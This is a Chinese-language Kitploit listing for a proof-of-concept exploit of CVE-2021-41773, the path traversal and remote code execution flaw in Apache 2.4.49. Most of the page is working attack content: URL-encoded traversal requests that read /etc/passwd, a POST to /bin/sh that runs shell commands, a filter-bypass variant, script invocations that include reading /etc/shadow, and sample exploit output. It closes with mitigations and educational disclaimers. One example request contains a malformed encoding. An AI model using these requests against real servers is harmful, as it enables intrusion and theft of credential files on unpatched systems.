Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773 — CVE-2021-41773的概念验证 | Kitploit
工具/GitHubGitHub/joapath/cve-2021-41773
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubjoapath/cve-2021-41773

CVE-2021-41773

CVE-2021-41773的概念验证

查看仓库
42个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773 — PoC: 路径穿越 + 基于 mod_cgi 的 RCE

仅限在受控且自有的环境中使用。未经授权不得针对任何系统使用。


描述

本 PoC 用于演示和理解 CVE-2021-41773 漏洞,该漏洞存在于 Apache HTTP Server 2.4.49 中。

该缺陷位于 ap_normalize_path() 函数中,该函数未正确验证 URL 编码的字符。攻击者可以通过编码后的字符序列(例如使用 %2e%2e%2f 代替 ../)绕过 DocumentRoot 限制,从而读取系统中的任意文件。

当 mod_cgi 模块启用时,该漏洞可升级为 RCE(远程代码执行),允许攻击者直接以 Apache 进程的权限在服务器上执行命令。


利用所需条件

服务器必须 同时满足 以下所有条件才存在漏洞:

条件详情
Apache 版本严格为 2.4.49
访问指令配置中设置了 Require all granted
CGI 模块启用 mod_cgi(仅针对 RCE)

攻击原理

第一阶段 — 路径穿越

Apache 2.4.49 过滤了经典的 ../,但未过滤其 URL 编码形式。攻击者构造一个过滤器无法检测、但操作系统能正确解析的路径:

root@kitploit:~
GET /cgi-bin/%2e%2e%f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f 是 ../ 的 URL 编码。Apache 放行该路径,操作系统解析后,攻击者便能访问 web 目录之外的文件。

第二阶段 — 基于 mod_cgi 的 RCE

当 mod_cgi 启用时,路径穿越被用于指向 /bin/sh 而不是普通文件。Apache 将其视为 CGI 脚本并执行。命令通过 POST 请求体以最小 shell 脚本形式传递:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

命令的输出将出现在 HTTP 响应中。


测试环境

最干净的重现方式是通过 Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

或者手动创建一个带有漏洞配置的 Apache 2.4.49 镜像:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

我将留下我测试时使用的配置文件。

关于攻击脚本的技术决策

  • 为何使用 urllib3 而非 requests?

    requests 会在发送前自动重新编码路径中的字符,从而导致服务器收到 %252e 而非 %2e,破坏 payload。 urllib3 允许原样发送路径而不做修改。

  • 为何使用 .%2e/ 而非 %2e%2e/?
    Apache 的 mod_rewrite 模块会过滤 %2e%2e/。 变体 .%2e/ 语义上等价但能绕过过滤,因为路径规范化发生在验证之后。

限制

  • 必须启用 mod_cgi 模块,RCE 模式才能生效。否则仅能进行路径穿越。
  • 如果 Apache 前面存在能过滤路径中双重编码的 WAF,攻击脚本将无法生效。
  • 仅在 Linux 上的 Apache 2.4.49 环境下测试过。对于 2.4.50 版本需要额外的绕过方法(参见 CVE-2021-42013)。

脚本用法

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <命令>]

参数说明

示例

读取服务器的 /etc/passwd 文件

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

执行命令 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

执行包含空格的命令

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

预期输出 —— traversal 模式

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

预期输出 —— RCE 模式

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

缓解措施

  • 将 Apache 升级到 2.4.51 或更高版本。
  • 将默认访问指令设置为 Require all denied。
  • 如果非必需,请禁用 mod_cgi 模块。

参考资料

  • Rapid7 — CVE-2021-41773 已被野外利用
  • Qualys — 路径穿越与 RCE 分析
  • NVD — CVE-2021-41773

⚠️ 本仓库仅用于教育目的。
在未经明确授权的情况下使用此攻击脚本针对任何系统均属违法行为。
仅在本地受控环境中进行过测试。

该 PoC 是为安全攻防作品集而开发的教育性工具。

下载工具
参数必填描述
--target是服务器的基础 URL(例如 http://localhost:8080)
--mode是traversal 用于读取文件,rce 用于执行命令
--cmd否RCE 模式下要执行的命令(默认:id)